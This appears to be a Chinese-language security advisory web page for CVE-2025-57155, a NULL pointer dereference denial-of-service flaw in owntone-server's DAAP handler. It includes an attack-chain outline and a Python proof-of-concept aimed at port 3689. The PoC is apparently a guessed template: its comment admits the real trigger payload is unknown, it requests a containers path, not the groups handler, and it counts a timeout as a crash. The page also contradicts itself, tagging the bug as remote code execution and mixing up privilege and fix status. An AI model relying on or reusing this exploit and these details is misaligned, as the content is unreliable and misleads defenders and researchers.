IPBUF安全漏洞报告
English
CVE-2025-57155 CVSS 7.5 高危

CVE-2025-57155: owntone-server daap_reply_groups函数空指针解引用拒绝服务漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2025-57155
漏洞类型
空指针解引用
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
owntone-server

相关标签

CVE-2025-57155空指针解引用拒绝服务owntone-serverDAAP协议远程代码执行高危漏洞无需认证

漏洞概述

CVE-2025-57155是owntone-server项目中的一个高危拒绝服务漏洞。该漏洞存在于src/httpd_daap.c文件的daap_reply_groups函数中,由于未对指针进行有效校验,导致空指针解引用(NULL pointer dereference)。攻击者可以通过远程发送特制请求触发此漏洞,无需任何认证即可利用。成功利用此漏洞将导致owntone-server服务崩溃,造成拒绝服务影响。owntone-server是一个开源的DAAP(Digital Audio Access Protocol)服务器软件,用于在本地网络中共享音乐库。该漏洞影响所有通过commit 5e6f19a之前版本的用户,漏洞已于2026年1月20日披露。

技术细节

该漏洞属于典型的空指针解引用缺陷。在C语言编程中,当程序试图访问一个NULL指针指向的内存地址时,会导致程序崩溃。在daap_reply_groups函数中,代码在处理DAAP协议请求时,未对相关指针变量进行NULL检查就直接使用。攻击者构造特定的DAAP请求数据包,触发函数在处理时遇到NULL指针状态。由于该服务通常以守护进程方式运行,程序崩溃会导致服务中断,影响所有依赖该服务的客户端。攻击者可以通过发送精心构造的HTTP/DAAP请求到服务器的DAAP端口(通常为3689),无需任何认证即可触发漏洞。此漏洞的CVSS向量显示攻击复杂度低、权限要求低、用户交互无要求,属于易于利用的拒绝服务漏洞。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标服务器上运行的owntone-server服务及其版本信息
STEP 2
步骤2
构造攻击载荷:攻击者根据漏洞特征构造特制的DAAP协议请求数据包
STEP 3
步骤3
发送恶意请求:通过TCP连接向owntone-server的DAAP端口(默认3689)发送精心构造的请求
STEP 4
步骤4
触发漏洞:恶意请求触发daap_reply_groups函数中的空指针解引用条件
STEP 5
步骤5
服务崩溃:程序访问NULL指针导致崩溃,owntone-server服务中断,造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-57155 PoC - owntone-server NULL pointer dereference This PoC demonstrates the NULL pointer dereference in daap_reply_groups function. """ import socket import sys def send_daap_request(target_ip, target_port=3689): """ Send a crafted DAAP request to trigger the NULL pointer dereference in the daap_reply_groups function in src/httpd_daap.c """ # Crafted DAAP request that triggers the vulnerability # The exact payload depends on the specific vulnerability trigger conditions daap_request = ( b'GET /databases/1/containers HTTP/1.1\r\n' b'Host: ' + target_ip.encode() + b'\r\n' b'Accept: */*\r\n' b'Client-DAAP-Version: 3.0\r\n' b'User-Agent: iTunes/12.0.1 (Windows; N;) \n' b'Connection: close\r\n' b'\r\n' ) try: print(f'[*] Sending crafted DAAP request to {target_ip}:{target_port}') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(daap_request) # Wait for response response = sock.recv(4096) print(f'[*] Received response: {response[:100]}') sock.close() print('[+] Request sent successfully') return True except socket.timeout: print('[-] Connection timeout - service may have crashed!') return True except Exception as e: print(f'[-] Error: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 3689 send_daap_request(target, port)

影响范围

owntone-server < commit 5e6f19a
owntone-server 28.2及更早版本
owntone-server commit 5e6f19a之后的新提交版本已修复

防御指南

临时缓解措施
在官方修复版本发布之前,可以通过网络层访问控制限制对DAAP端口(3689)的访问,仅允许受信任的IP地址连接。同时部署入侵检测系统监控异常的DAAP请求模式,并设置服务自动重启机制以减少服务中断时间。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表